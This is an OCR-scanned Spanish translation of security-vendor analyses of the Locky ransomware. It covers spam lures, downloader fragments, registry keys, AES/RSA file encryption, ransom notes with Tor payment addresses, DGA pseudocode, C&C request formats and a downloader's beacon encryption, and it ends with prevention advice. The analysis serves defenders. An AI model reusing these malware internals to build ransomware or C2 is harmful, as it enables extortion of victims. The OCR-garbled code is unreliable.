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Locky: El cifrado que toma al mundo por
asalto

Por Fedor Sinitsyn, Jonell Baltazar , Joonho Sa
Traducido por equipo técnico ISEC

En febrero de 2016, la Internet fue sacudida por una epidemia causada por el nuevo
troyano Ransomware Locky (detectado por los productos de Kaspersky Lab como
Trojan-Ransom.Win32.Locky). El troyano ha venido propagdndose de forma activa
hasta el dia de hoy. Los productos de Kaspersky Lab han reportado intentos de

infectar a los usuarios con el Troyano en 114 paises de todo el mundo.

El andlisis de las muestras ha demostrado que este Troyano es una amenaza de
ransomware de una marca nueva, escrita desde cero. Entonces, ¢qué es Locky, y

cémo podemos protegernos del mismo?
Propagacién

Con el fin de difundir el troyano, los ciberdelincuentes envian correos masivos con

cargadores maliciosos adjuntos a mensajes de correo no deseado.

Inicialmente, los mensajes no deseados maliciosos contenian un archivo DOC
adjunto con una macro que descargaba el Troyano Locky desde un servidor remoto

y lo ejecutaba.
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F \ lg r . = Invoice 2016-74583971 - Message [Plain Text) -8 X
a
—/ Message @
O % Find
il ii} — % sarelists ~ || =) v I
—iE —$ & =] b, Related -
Reply Reply Forward Other Block Mot Junk Categorize Follow Mark as
to All Actions = || Sender - Up~ Unread || Wi Select~
Respond Actions Junk E-mail F} Options (Fi Find
From: Elbert Massey [MasseyElbert43716@hsi14.unitymediagroup. de] Sent:  Wed 2/17/2016 10:58 AM
To
Cc
Subject: Invoice 2016-74583971
I Message | B]SCAN_INVOICE_2016_74583971.doc
. -
Hi T
Here's invoice 2016-74583971 for 157,30 USD for last weeks delivery.
The amount outstanding of 498,34 USD is due on 23 Feb 2816.
If you have any questions, please let us know.
Thanks,
Elbert Massey
First Data Corporation www.firstdata.com
=

Un mensaje de correo no deseado en fase inicial con un documento adjunto malicioso.

, vbCritical,

phgscadc = Nothing

vWVDUWZ As String

KIrUUKL As Integer
PAJVTm As Integer

vNKYaOvLwOZAHEwLGhFei As Integer

TIvVDPwPukVzcl As Long

gqvRvq As Single, lufAgzIDXleFjJAnO As Byte, CgXjgsFAChriilHD As String, qsFinIGIsQ
= Then

, vbCritical,

x xp Write
Put #df 1, dfbb
Close #dfs i

xphgva, vbHide)

Visual Basic fie length : 2276 lines : 69 [ln:1 col:1 selzojo [Dos\windows ~ UTF-8w/oBOM |[INS

[Un fragmento de la macro malicioso]
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Los productos antivirus avanzados detectan archivos con macros maliciosos como

Trojan-Downloader. MSWord.Agent y HEUR: Trojan-Downloader.Script.Generic.

Debemos tener en cuenta que, en las versiones modernas de Microsoft Office, la
ejecucion automdtica de macros estd desactivada por motivos de seguridad. Sin
embargo, la prdactica demuestra que los usuarios, con frecuencia, activan las
macros de forma manual, incluso en documentos de fuentes desconocidas, lo que

pueden llevar a consecuencias perjudiciales.

Al momento de escribir este articulo, todavia se enviaban los mensajes maliciosos,
pero en vez de que los archivos DOC vayan adjuntos ahora son los archivos ZIP que
contienen una o mds secuencias de scripts ofuscados en JavaScript. En su mayoria,

los mensajes son en inglés, aunque han aparecido algunas variantes bilingues.

"

(N H 5 e ¥ ¥  PW: Payment ACCEFTED M-267689 - Message (Plain Text) -8 X
Message '@
— = [ ] ;
( / ’ N Cat =
3 3 | X moretoroiser - ||| B || 8B Catevorze | g
¥ Follow Up ~
Reply Reply Forward Delete s i - Junk Find
to All Bl el E-mail = j Mark as Unread -
Respond Actions Options ]
From: Tracey Hoover [HooverTracey74635@pawluk. org) sent: Wed 3/16/2016 2:456 AM
To: info
Cc
Subject: FW: Payment ACCEFTED M-267689

-] Message | % | payment_document_267659.zip

Dear info,

Please check the payment confirmation attached to this email.
The Transaction should appear on your bank in 2 days.

Thank you.

Tracey Hoover
Financial CEO

Mensaje malicioso en inglés con el archivo adjunto.
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# wl 5 - - | X
,E% H f M oa ¥ [SPAM] Bestellung 30155 - Message [HTML]
= | Message | (7]
mO : '
¢ ¢ ¢ Cat x
. % : B : ; x 3 Maove to Folder fp | | om Gategorize 34
¥ Follow Up =
Reply Reply Forward | Delete |» i - Junk Find
to Al B iiecsiis E-mail = j Mark as Unread -
Respond Adtions Ciptions ] |
From: david. favellade@buhlergroup. com sent: Wed 3/16/2016 12:25 PM
To:
Cc
Subject: [SPAM] Bestellung 30155

m| |5 | Bestellung Bestellung 30155.zip.zip

k1

Sehr geehrte Damen und Herren,

anbei erhalten Sie unsere Bestellung. Diese ist maschinell erstellt und ist daher ohne
Unterschrift giiltig.

Dear ladies and gentlemen,

enclosed you receive our order. This order has been created automatically and is
valid without signature.

Mit freundlichen Griilen / Best regards

Mensaje en alemdn e inglés con el archivo adjunto.

Se pide al usuario iniciar manualmente los scripts.
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File Edit View Favorites Tools Help

gp = < o) wp ¥ i

Add Extract Test Copy Move Delete Info

1? ||E, C:WeersiWoodpedkers_VM_7_s4\AppDataiLocal\Microsoft\Windows\Temporary Internet Files'n,C-j

Mame | Size | Packed Size | Muodified |
scanned_doc_f287e.js & 347 2601 2015-03-15 21:14
| B details_b31df js 6 494 2654 2016-03-1521:14

90 58 2016-03-15 21:14

< | 2

[ details_b31dfjs_ Ed

Milliseconds();
U}
var
var IIhna'm
var tPmDR
var S1BVgmkb
var bdKbfgpu
WshShell
function £
fun:t:i.cn [ Qot E‘rPCYOF’Vl;q +
C shShell[SIpn|

NRuFwYTyv1i(gqCOr

tPmDRN + SatKujljv +
S1BVgmk S + GTNQezpe AHHE‘H" + SatKu3jJjy
bdKbfgp + KIhnajn + GTI ewAMtBNv;
¥
4 »
JavaScript file length : 6494 Ines:204  |Ln:1 Col:1 Sel: 0|0 [Dos\windows  [UTF8w/oBOM [INS

Fragmento del script archivado

Cuando se inicia, el script descarga al Troyano Locky desde un servidor remoto y

lo ejecuta.

Los productos de Antivirus mds actualizados detectan estos cargadores scripts

como Trojan-Downloader.JS.Agent y HEUR: Trojan-Downloader.Script.Generic.
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Geografia de los ataques

Kaspersky Security Network ha informado de ataques del Troyano Locky en 114

paises.

Diez paises principales

Pais Ndmero de usuarios atacados
Francia 469
Alemania 340
India 267
Estados Unidos 224
Republica de Suddfrica 182
ltalia 171
México 159
Brasil 156
China 126
Vietnam 107

Debemos tener en cuenta que estas estadisticas Unicamente incluyen los casos en
que se detecté el troyano real, y no incluye las detecciones en etapa temprana

reportadas como mensaje malicioso o descargadores maliciosos.

B 1-5 B 51-100 101 - 200 201 - 300 - 301- 500

Lab. All Rights Resarvad,

La geogrdfia de ataques Trojan-Ransom.Win32.Locky (nimero de usuarios
atacados)
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Como podemos observar, el Troyano lleva a cabo ataques en prdacticamente todas
las regiones del mundo. Podemos asumir cudles son los paises que los
ciberdelincuentes ven como sus principales objetivos en funcién de la lista de
idiomas que se utilizan en la pdgina del pago del rescate (véase los detalles lineas

mds adelante).
Cbémo funciona

El Troyano Locky es un archivo ejecutable, con cerca de 100 kb de tamano. Esta
escrito en C ++ usando STL, y se compila en Microsoft Visual Studio. Al iniciarlo,
se autocopia en % TEMP%\svchost.exe y elimina el flujo de datos Zone.ldentifier de
su copia - esto se hace para asegurar que, al iniciar el archivo, Windows no muestre
una notificacién que indique que el archivo ha sido descargado de la Internet y que

podria ser potencialmente peligroso. El troyano se inicia desde % TEMP%.

Una vez iniciado, el Troyano verifica la presencia y el contenido de las claves de

registro que se mencionan a continuacioén.

Ruta Tipo Valor

Identificacién
de infeccién

Clave RSA
publica en
formato

MSBLOB

Texto que se
HKEY CURRENT_USER\Software\Locky\paytext REG _BINARY muestra a la

victima

HKEY_CURRENT_USER\Software\Locky\id REG SZ

HKEY_CURRENT USER\Software\Locky\pubkey =~ REG_BINARY

Estado (si se ha
HKEY CURRENT_USER\Software\Locky\completed REG_DWORD completado el
cifrado)

Si ya existen datos en las claves de registro (este es el caso si el Troyano se ha
iniciado antes, pero su sesién anterior fue interrumpida por algin motivo), Locky

lee esos datos y contintia con el proceso de infeccién.
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Si se inicia por primera vez, el Troyano realiza las siguientes acciones:

1. Contacta C&C y reporta la infeccion;

2. Recibe una clave publica RSA-2048 y la identificacién de la infeccién
desde el C&C, los guarda en el registro;

3. Envia la informacién sobre el idioma del sistema operativo infectado, recibe
el texto de solicitud de rescate de los cibercriminales que se mostrard a la
victima, guarda el texto en el registro;

4. Busca los archivos con extensiones especificas en las unidades de disco
locales, las cifra;

5. Elimina instantdneas de archivos;

6. Registra para si mismo el arranque automatico
(HKEY _CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run)

7. Busca y cifra los archivos con extensiones especificas en las unidades de
red y en la red de recursos de archivos con ninguna letra de unidad
asignada;

8. Muestra la solicitud de rescate de los cibercriminales a la victima;

9. Pone fin a su proceso y se auto-elimina.

.text:APuBSFSB H std::hasic_string *__usercall GetLanguage@<{eax>(std: zhasic strlng ﬁlangNale@(951))
.text:0DLOSFSB GetLanguage proc near ; CODE XREF: Hepnrt[nstallfannfp
.text:004LB5F5B ; WinHain{x,x,x x)f51ETp
Jtext:00405F5B

.text:OD4OSF5B var_25 = byte ptr -25h

-text:@P4B5F5B LCData = byte ptr -24h

-text:004O5F58 var_h = dword ptr -4

.text:00405F5B

.text:00405F5B 00O 55 push ebp

-text:@0405F5C BO4 8B EC nov ebp, esp

.text:0B405FSE B804 83 EC 24 sub esp, 24h

-text:00485F61 028 53 push ebx

-text:00405F62 ©62C 33 DB
-text:00405F64 B2C 89 5D FC
-text:00405F67 02C FF 15 EC 00 41 08
-text:@04B5F6D B2C 6A 20
-text:00485F6F B30 8D 4D DC
-text:0D4BSF72 B30 51

-text:00405F73 B34 OF B7 CO
-text:00405F76 B34 6A 59
text:0D4BSF78 B3B 58

-text:00405F79 B3C FF 15 E8 80 41 68
-text:00485F7F B2C C7 46 14 OF 00 00 68

Xor ebx, ebx

mov [ebp+var_u], ebx

call ds:GetUserDefaultUILanguage
push 28h ; cchbata

lea ecx, [ebp+LCData]

push ecx ; lpLCData
movzZx  eax, ax

push  LOCALE_SISO639LANGNAME ; LCType
push eax ; Locale

call ds:GetLocalelnfoR

word prr [esi+1Gn], OFh

.text:00405F86 B2C 89 SE 18 noy [esi+10n], ebx
-text:00405F89 B2C 88 1E nov [esi], bl
.text:00485F8B B2C 3B C3 cnp eax, ebx
.text:00405FBD B2C 7F WF jo short loc_u@5FDE
-text:004085FBF ©2C 57 push edi
-text:0D405F90 B30 BF F? 2B 41 00 nov edi, offset unk_W12BF9
-text:00405F95 B30 57 push edi
.text:00485F%6 B34 8B Cé nov eax, esi
.text:004OSF98 034 E8 65 Fé6 FF FF call std__basic_string___Inside_8
-text:00405F9D B30 84 CO test al, al
-text:00405F9F B30 74 1B jz short loc_485FBC
.text:0PuO5FA1 B30 83 7E 14 10 cnp dword ptr [esi+14h], 16n
.text:0B405FA5 B30 72 84 jb short loc_485FAB
.text:ABuB5FA7 B30 8B B6 nov eax, [esi
-text:00405FAY B30 EB 02 jmp short loc_405FAD

[ I text:ooussrap e

Fragmento del cédigo que determina el idioma del sistema operativo

WWW.isec.pe
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Cifrado de archivos

El Troyano busca los archivos que coincidan con una lista dada de extensiones.

Luego, estos archivos son cifrados, como se describe a continuacion:

2777 7
A?’R _Locky_recover_instructions.bmp _Locky_recover
_instructions.txt tmp winnt Application Data AppData Program Files <x86> Progry
am Files temp thumbs.db $Recycle.Bin  Sustem Volume Information Boot Windows
mdn m3n .mid .vma .flv .3g2 .mkve . Jgp .mpd .mov .avi .asf
vobh _mpy .wne _fla .swf _wav _mpd .goow? _wdi _umdk _umx _gpg
.ARC _.PAQ .tar.bh=z2 .thk .bhak .tar .tgz .gz .P= .rar .zip .djv
sug .bmp .png .gif .raw .cgm .Jpeg .Jpy .tif _tiff _HEF _p=d
at .zh .class .jar .java .rb .asp .cs .brd _.sch _dch .dip .pl .ubs
.Jj= .agm .pas .cpp .c¢ .php .ldf .mdf .ibhd .MYI _MYD _frm .odhb
.mdbh .=qgl .SQLITEDE .SQLITE3 .011 .0i0 .009 .00 .007 .006
010 L .mn3 .@On2 @01 .pst  .onetoc2 _asc .layh .lay .msll (Security
copy? .msll _sldm _sldx _ppsm _ppsx _ppam -doch .mml _sxm .oty _.odgy _.uwop
potx .potm .pptx .pptm .std .sxd .pot .pps .sti .sxi .otp .odp -wh2
23 wks wkl _xltx .xltm .xlsx _.xlsm _.xl1lsbh _slk _xlw _xlt _xlm _.xlc
f .stec .sxc .otz _ods _hwp 602 _dotm .dotx .docm .docx .DOT .3Jdm
.3ds  .xml .txt .CSU _wot .RTF .pdf .XELS .PPT .stw .sxuw .ott .odt
DOC cpem .w0l2  .csr .ot keu wallet.dat %
TATA 8 AYATA AR T @ TA
v PATATATA  7RE TR A ATA ¥ TATATATA FAB@ T @ A
E *ATA A T @A ATA TATA 8 ?A7AYA TAB T @ A
FATA B *ATA A T @ FA ATA OB *+ TATATATAYA YA O+ 7T 1 TAYAR ¢
T H A 8 *AYAYA TA T @ YA @ ¥ATA FAE T @ TATAw T @ A
TATA @ TATA TR T @A TATA a8 *AYAYA A T 0 TA & TA
TA YTAR T D@ A TATA 8 AYATA TAR T D@ A TATA 8 *ATA?A
TAE T @ A TATA 8 ?AYATA TAR T @ TA TA ¥ § @7
FAY TATATA YA TY 9 YR FE  YAw TAYATA YR Y @ Y@ FY  ?F R F@ O?F 7

Lista de extensiones de archivo que son objeto de cifrado

Para cada archivo que coincide con una extension en la lista, el Troyano genera
una nueva clave de 128 bits y cifra el contenido del archivo con el algoritmo AES-
128 en modo CTR. Al archivo cifrado se le da el nombre de <16 HEX characters
as ID><16 random HEX characters>.locky. Luego, se anade la siguiente

estructura al final del archivo:

goeaoe0a

goepeaee file_data struc ; (sizeof=8x344, mappedto_99)
gooooooe start_marker dd 7

gepoeeny id db 16 dup(?)

0060061, aes_key db 256 dup(?)

aaeaRa1Y

gooee114 name_marker dd 7

aaaae11y

BaEpe118 orig_name db 528 dup(?)

AAREB3ZE attr WIN32_FILE_ATTRIBUTE_DATA ¥
goeaoz20

aoppez4s file_data ends

Estructura aiadida por el Troyano al final de un archivo cifrado
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En la sintaxis del lenguaje C, esta estructura se puede describir de la siguiente

manera:

< | ]

) Struct file_data

{
% uint32_t start_marker; //Marcador de inicio de estructura = Ox8956FE93
4 char id[16]; //ldentificacién de infecciéon
5 uint8_t aes_key[256]; //Clave AES cifrada con RSA-2048
6 uint32_t name_marker; //Marcador de inicio de nombre cifrado con AES (= OxD41BA12A
7 después de la descifrado)
8 uint8_t orig_name[520]; //Nombre del archivo original cifrado con AES
9 WIN32_FILE_ATTRIBUTE_DATA attr; //Atributos del archivo original cifrados con AES
L

Estructura agregada descrita en la sintaxis del lenguaje C
Solicitudes de rescate

Una vez cifrados los archivos del usuario, el Troyano muestra el siguiente mensaje

con solicitudes de rescate de los ciberdelincuentes.

I IMPORTANT INFORMATION !

ey and decrypt program, which is on our secre

ownload/download-easy.html

itialization.

ersonal identification ID:

Solicitud de rescate en inglés

WWw.isec.pe
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Locky_recover_instructions.txt - Notepad

He Edt Format View Help

Il WICHTIGE INFORMATIONEN !!!l =

Alle Dateien wurden mit RSA-2048 und AES-128 Ziffern verschlisselt.
Mehr Informationen uber RSA kénnen Sie hier finden:

http: //de.wikipedia.org/wiki/RSA-Kryptosystem

http: //de.wikipedia.org/wiki/Advanced_Encryption_Standard

Die Entschlisselung Threr Dateien ist nur mit einem privaten Schliisseul und einem Entschliusselungsprogramm,
welches sich auf unserem Server befindet, méglich.
Um Ihren privaten Schlissel zu erhalten, folgen Sie einem der folgenden Links:

1. http://6dtxggamdcrvérré. tor2web.org/

2. http://6dtxggamdcrvorré. onion. to/

3. http://6bdtxggamdcrvbrrb.onion.cab/

4. http://6dtxggamdcrvérré.onion. 1ink/

Sollte keine der Adressen verfugbar sein, folgen Sie den folgenden Schritten:
1. Laden Sie einen Tor Browser herunter und installieren diesen: https://www.torproject.org/download/dov
2. Starten Sie den Browser nach der erfolgreichen Installation und warten auf die Initialisierung.
3. Tw‘qpen Sie in die Adresszeile: 6dtxggamdcrvbrr6.onion/
Folgen Sie den Anweisungen auf der Seite.

11l Ihre persénliche Identifizierungs-ID lautet: 111

4| | LA

Solicitud de rescate en alemén

El mensaje de rescate contiene la direccion del “servidor secreto” de los
cibercriminales donde colocan informacién sobre el rescate que exigen para el
programa de descifrado. Los cuatro enlaces en el mensaje conducen al mismo sitio

en la red Tor.

Durante las primeras campanas de correos no deseados, la pdgina de pago de un

rescate era la siguiente:

WWW.isec.pe
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We present a special software -
which allows to decrypt and return control to all your encrypted files.

How to buy Locky decrypter?
You can make a payment with BitCoins, there are many methods to get them.

You should register BitCoin wallet (simplest online wallet OR some other methods of
creating wallet)

. Purchasing Bitcoins - Although it’s not yet easy to buy bitcoins, it's getting simpler
every day.

Here are our recommendations:

LocalBitcoins.com (WU) - Buy Bitcoins with Western Union

Coincafe.com - Recommended for fast, simple service.

Payment Methods: Western Union, Bank of America,Cash by FedEx, Moneygram,
Money Order. In NYC: Bitcoin ATM, In Person

LocalBitcoins.com - Service allows you to search for people in your community
willing to sell bitcoins to you directly.

CEX.IO - Buy Bitcoins with VISA/MASTERCARD or Wire Transfer
btedirect.eu - THE BEST FOR EUROPE
bitquick.co - Buy Bitcoins Instantly for Cash

How To Buy Bitcoins - An international directory of bitcoin exchanges.

Primera versién de la pdgina de solicitud de rescate Locky

WWW.isec.pe
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En esta pdgina, los cibercriminales sugirieron que las victimas paguen en bitcoins
para descifrar los archivos afectados en su computadora. También daban

recomendaciones sobre donde y cdmo obtener el criptomoneda.

El contenido y el diseno de la pdgina cambian con el tiempo. Hoy en dia, la pdgina
estd disponible en mds de 20 idiomas (que se puede seleccionar de una lista

desplegable), y luce de la siguiente manera:

) i3ezlvkoi?fweyood.onion/ c | | - aoogle )"T‘-'| ﬁ’ E 3 &

Languages:  English v

We present a special software - Locky Decryptor™ -
which allowes to decrypt and return control to all your encrypted files,

How to buy Locky Decryptor™?

You can make a payment with BitCoins, there are many methods to get them.

You should register BitCoin wallet:

Simnplest online wallet or Sorme other methods of creating wallet

Purchasing Bitcoins, although it's not yet easy to buy bitcoins, it's getting simpler every day.

Here are our recommendations:

localbitcoins. com (WL Buy Bitcoins with Western Union,
coincafe.com  Recommended for fast, simple service,
Payrnent Methods: Western Union, Bank of Ametica, Cash by FedEx, Moneygram, Money Crder, In MY
Eitcain &4TM, in person.
localbitcoins.com  Service allows you to search for people in your community willing to sell bitcoins to you directly.
cexio  Buy Bitcoins with WISAMASTERCARD or wire transfer,
btodirect.eu The best for Europe.,
bitguick.co  Buy Bitcoins instantly for cash,
by tobuyhitcoins.info - An international directary of bitcoin exchanges,
cashintocoins. com  Bitoain for cash,
coinjatcomn  Coindar allows direct bitcoin purchases on their site,
aNXEra. com
bittylicious. corm

Send 0.5 BTC to Bitcoin address:

MNote: Payment pending up to 30 mins or more for transaction confirmation, please be patient...

Date : Amount BTC Transaction 1D Confirmations
not found

Refresh the page and download decryptar

When Bitcoin transactions will receive one confirmation, you will be redirected to the page for downloading the decryptor,

Ultima versién de la pégina de pago de un rescate de Locky
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Si nos fijamos en el cédigo fuente de la pagina, veremos una lista completa de los

Information Security
——

idiomas. Los cibercriminales, obviamente, ven los paises correspondientes como los
objetivos principales de este Troyano-Ransomware. Curiosamente, el ruso y otros
idiomas de CEIl no estdan en la lista. Por alguna razén, los cibercriminales no se
esfuerzan en llegar a los usuarios en los paises donde se hablan dichas lenguas -

algo que confirman las estadisticas de KSN.
</p*<form action="/"
<font id="brown"
<select name="lang"
<option value="

<option value="

<option value="

<option value="da"

<option value="de

method="get">

>*Languages</font>:
an:hanbe:"thiS.Fch.5ubmit[}">
bg">bbnrapcku< foption>
>Catala</option>
>CeStina</option>
>Dansk</option>
>Deutsch</option>

Call
cs"

<option
{option
{option
<option
{option
{option
<option
{option
<option
{option
{option
<option
{option
<option
{option
{option
<option
{option
{option
<option
{option
£{/select>

value="el"
value="en"
value="es"
value="+1"
value="+r"
value="hi"
value="hr

>EAAnvika< /option>

selected="selected">English</option>

*Espancl</option>
>Suomi</option>
>Francais</option>
>igwnr<foption>
>Hrvatski</option>

"»Magyar</option>

value="

value="

value="ko
value="
value="
value="no"
value="pl"
value="pt"
value="sk"
value="sr"
value="
value="tr"
zh"

ms

nlll

S5V

value="

>Italiano</option>

=t (H</option>

*Bahasa Melayu</option>
*Nederlands<
*Nors
>Polski</option>
*Portugués
*Slovencina< foption>
*Cpncku<foption>
">Svenska</option>
>Tiurkce</option>

Joption>
k bokm&l</option>

<foption>

>HIL

Joption’

Lista de idiomas disponibles en la pdgina de pago del rescate Locky
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Comunicacién con C&C (Comando y Control)

El cédigo del Troyano contiene de una a tres direcciones IP de C&C. Ademds de
eso, el codigo contiene un algoritmo que genera nuevas direcciones de C&C (DGA,
algoritmo de generaciéon de dominio), en funcién del dia, mes y ano actuales. Con
este algoritmo, seis direcciones de C&C se generan cada dia. El pseudocédigo para

ilustrar el algoritmo DGA Locky se resalta en la siguiente imagen.

GetSystemTime(&SystemTime);
nl = ROR4_ {OxB11924E1 = (SystemTime.w?ear + Bx1BF5), 5);

nZ = ROR4__ (BxB11924E1 *[}n1 + {{unsigned int)SystemTime . whay >> 1ﬂ-r Bx271600861), 5);
n3 = ROR4__ (BxB11924E1 ={(n2 + SystemTime.wMunth + Bx2709A354), 5);

nk = ROLY_ (seed % 6, 21);
n5 = _ ROR4__ (OxB11924E1 * (n3 + ni + 8x27100001), 5);

nGd = n5 + Bx27188861;

n? = {n5 + B@x271800881) % 11u + 5;
std::basic_string::f_17({n5 + Bx27108081) % 11u + 8, f&str);

u22 = B3
if § n?7 )
{
do
{
ng = _ ROLA_ (n6, i);
v1d = {std::basic_string =)str._Bx._Ptr;
n% = _ RORY4__ (OxB11924E1 = n38, 5);
nid = n? + Bx27100001;
né = ni1@;
if ( str._Myres < 16 )
u18 = &str;
u10->_Bx._Buf[i++] = n18 % 25 + 'a‘;
¥
while { i < n7 };
b4

v13 = (std::basic_string =)str._Bx._Ptr;
if ( str._Hyres < 8x18 )
v13 = &str;
u13->_Bx._Buf[i] = H
u14 = {std::basic strlng #}str._Bx._Ptr;
ni11 = _ ROR4__(O=B11924E1 * no, T5);
ni12 = {n11 + Bx27108881) % 1hu;
if ( str._Hyres < 8x18 )
il = &str;
ulh-» Bx._Buf[i + 1] = aRupweuinytpmusfrdeit[2 = ni12];
v17 = (std::basic_string =)str._Bx._Ptr;
if { str._Myres < 8x18 )
uil? = &str;
u17->_Bx._Buf[i + 2] = aRupweuinytpmusfrdeit[2 = ni12 + 1];

Pseudocédigo del algoritmo de generacién de dominio Locky de C&C

La comunicaciéon con un C&C se realiza mediante el protocolo HTTP. El Troyano
envia una solicitud POST a wuna direccibn con el formato
http://<cnc_url>/main.php; los datos transmitidos se cifra con un simple algoritmo

simétrico.

WWW.isec.pe
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Echemos una mirada a los posibles tipos de pardmetros de transmision.

1. Notificaciéon acerca de la infeccién y la solicitud de clave.
id=<infection id>
&act=getkey&affid= <partner id contained in the Trojan’s body>
&lang=<language of the operating system>
&corp=<whether the OS is a corporate OS>
&serv=<whether the OS is a server OS>
&os=<OS version>
&sp=<version of OS service pack>
&x64 = <whether the OS is 32- or 64-bit>

A juzgar mediante el pardmetro affid, Locky se distribuye a través de un

programa de dfiliados, o sociedad.

2. Envio de lista de rutas cifradas.
id=<infection id>

&act=report&data= <list of paths>

Por cada disco duro que ha controlado, el Troyano envia al C&C una lista de

todas las rutas a todos los archivos cifrados.

3. Envio de estadisticas para cada unidad de disco controlado.
id= <infection id>
&act=stats&path=<path>
&encrypted= <number of files encrypted>
&failed= <number of errors>

&length=<total size of encrypted files>

Cabe senalar que el ciberdelincuente recopila estadisticas muy detalladas para cada
infeccion. Otras familias de ransomware que hemos analizado anteriormente no

eran tan minuciosas en la recopilacién de estadisticas.

WWW.isec.pe
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Prevencién de infecciones

Locky es un Ransomware-Troyano tipico, y presenta grandes diferencias en
comparaciéon con otras familias de ransomware en su disposicion interna o en sus
principios de funcionamiento. Sin embargo, llamé la atencién de los investigadores

debido a que era muy activo y muy extendido.

Para protegerse de este Ransomware- Troyano, siga las siguientes medidas

preventivas:

e No abra archivos adjuntos de correos electronicos provenientes de
remitentes desconocidos;

e Haga copias de seguridad de sus archivos de forma regular y almacene las
copias de seguridad en medios de almacenamiento extraibles o en el
almacenamiento en nube - no en la computadora;

e Ejecute regularmente las actualizaciones de las bases de datos de su
antivirus, sistema operativo y otro software instalado en su computadora;

e Cree una carpeta de red independiente para cada usuario al gestionar el

acceso a carpetas compartidas de red.

https://securelist.com/blog/research/74398/locky-the-encryptor-taking-the-world-
by-storm/

WWW.isec.pe
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NUEVA VERSION DE DESCARGA LOCKY

Locky es un ransomware que se distribuye de manera agresiva a través de
descargadores adjuntos en los correos electronicos no deseados (spam), y es
probable que haya superado la popularidad del troyano bancario Dridex. En
campanas anteriores, el ransomware se descargaba a través de un programa de
descarga basado en macros o un programa de descarga JavaScript. Sin embargo,
en abril de 2016, FireEye Labs descubrié un nuevo desarrollo en cuanto a la forma

en que este ransomware se descargaba en un sistema comprometido.

En una reciente campana de spam de Locky utilizando ‘Fotos’ como asunto (Figura
1), vimos un nuevo binario que se descargaba mediante el cédigo JavaScript que
se encontraba en el archivo ZIP adjunto, como se observa en la Figura 2. Este

programa de descarga JavaScript se extiende a “hxxp: //mrsweeter.ru/87h78rf33g".

L=lBCll X
Message (A »
4 Reply B | CreateNew BB v aal €@
. &3 Reply All i, N
&. Delete . B, — | Move Tags Editing Zoom
iz Forward - o - 3 =
Delete Respond Quick Steps u Move Zoom
From: > Sent: Thu 3/31/2016 9:52 PM
To: L COm
Cc
Subject: Photos
.- Message | | |, Photos.zip 3 KB}
3

Figura 1: Reciente campana de spam de Locky

WWWw.isec.pe
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N YPhotos.zi

File Edit View Favorites Tools Help

b om v o w XA

Add Extract Test Copy Move Delete Info

5 AN Mwmshareh 2016\ Locky' eml\Photos.ziph -

Mame Size Packed Size Meodified Created Accessed
29219884—?885m—852818.j:§ 5709 2895 2015-03-3119:52 2016-03-3119:52 2016-03-31 19:52

Figura 2. Archivo adjunto ZIP del spam de Locky que contiene el programa de

descarga JS.
Nuevo programa de descarga (MD5: c5ad81d8d986c92f90d0462bc06ac9céb)

El nuevo programa de descarga tiene un protocolo de comunicaciéon de red
personalizado. En nuestras pruebas, este programa solo descarga el ransomware
Locky como su carga danina. Al parecer, este malware se encuentra en una etapa
temprana de desarrollo, ya que solo es compatible con los comandos de descarga
y ejecucién de un archivo ejecutable y los comandos de autoeliminacién. Esto
significa que el malware también puede actualizar su propio binario, dando asi la

posibilidad de que sea compatible con mds comandos.

El malware se comunica con su comando y control (C2) a través del HTTP utilizando
un algoritmo de cifrado personalizado. El primer beacon para el C2 no modificable
solicita que el malware ejecute una tarea. Se ha formateado un ejemplo del

mensaje no cifrado enviado a C2, como se muestra en la Figura 3.

Figura 3. Formato de mensaje sin procesar

WWW.isec.pe
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ID1 — derived from HDD Volume Serial Number

ID2 — 2222222222 (hard-coded value)

ID3 - random generated number

ID4 — derived from bit-masked OS version and system architecture
time — UTC time the message is created

type — getjob (hard-coded value)

Esta trama de caracteres en cadena (beacon string) se cifra con el algoritmo
personalizado que se muestra en la Figura 4 antes de enviarlo a su C2. El cifrado
personalizado se compone de XOR y desplazamientos de bits.

.text:08481C47 loc_481C47: ; CODE XREF: _encrypt+81l]

Ltext:08401C47 mow eax, [ebp+v_ctr]

.text:00481C4A mov ecx, [ebp+plaintext_str]

.text:00481C4D mov al, [eax+ecx]

. text:08481C58 mov [ebpsvar_1], al

.text: 08481053 call sub_481BEF

Ltext: 08481058 push 7

Ltext: 08481054 cdg

.text:004@1C58 pop ecx ; S============== S UBROUTINE

. Text:084e01C5C idiwv ecx

.text:B8481C5E lea ebx, [edx+3]

.text:008401C61 call sub_4@1BEF ; int _ cdecl sub_4@1BEF()

. text:00401C66 cdq sub_401BEF proc near ; CODE XREF: _encrypt+3Clp
.text:068481C67 push 7 mov eax, dword 4089E38
.text:0e481C69 pop ecx test eax, eax

Ltext: 08481064 idiv ecx jnz short loc 4@1BFE
ctext:08481C6C mov al, [ebp+var, call ds:GetTi:ECom”t
Ltext:08481C6F mov cl, al

E:izgggigi sar ij ::11 loc_4@1BFE: . ; CODE XREF: sub_ 4@1BEF+71
text:0B481C76 and al, oFh sl R, SRR
.text:08401C78 shl bl, 4 add cao2GoEcoh
~text:0RAGICTE add bl al mov duord_489E38, eax
. text:B8491C7D add di, 3 shr eax, 1eh

. text:08401C80 shl di, 4 and eax, 7FFFh
.Text:08401C383 add dl, cl retn

.text:BB481C85 mow [esi+edi], dsub_4@1BEF endp

.text:08401C88 mow [esi+edi+l], bl

Ltext: 08481080 add esi, 2

.text:08481C8F inc [ebp+v_ctr]

.text:08481C92 mov eax, [ebp+v_ctr]

.text:08481C95 cmp eax, [ebp+v_len]

.text: 08481098 il short loc_4081C47

Ltext: 08481094 pop ebx

. Text:0841C98

Ltext:08481C98 loc_481C9B: ; CODE XREF: _encrypt+20T§

.text:06481C98 mov byte ptr [esi+edi], 41h

.text:08481C9F mov eax, edi

Ltext:@8481C4l pop edi

Ltext:08481CA2 pop esi

.Text:084@1CA3 leave

.Text:08401CA4 retn 4

.text:08481CA4 _encrypt endp

Figura 4. Encriptacién de la cadena personalizada (custom string)

Después del cifrado, un cardcter “A” (Ox41h) se anade al mensaje cifrado. La
solicitud de beacon se entrega a través de una solicitud HTTP POST. En esta
muestra, se extiende a hxxp: //raprockacademy.com/api, como se muestra en la
Figura 5.
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POST /api/ HTTP/1.1
Content-Type: octet-stream
Host: raprockacademy.com
Content-Length: 223
Connection: Keep-Alive
Cache-Control: no-cache

..Db.ystfQurtz5rVQFXfQ4y.

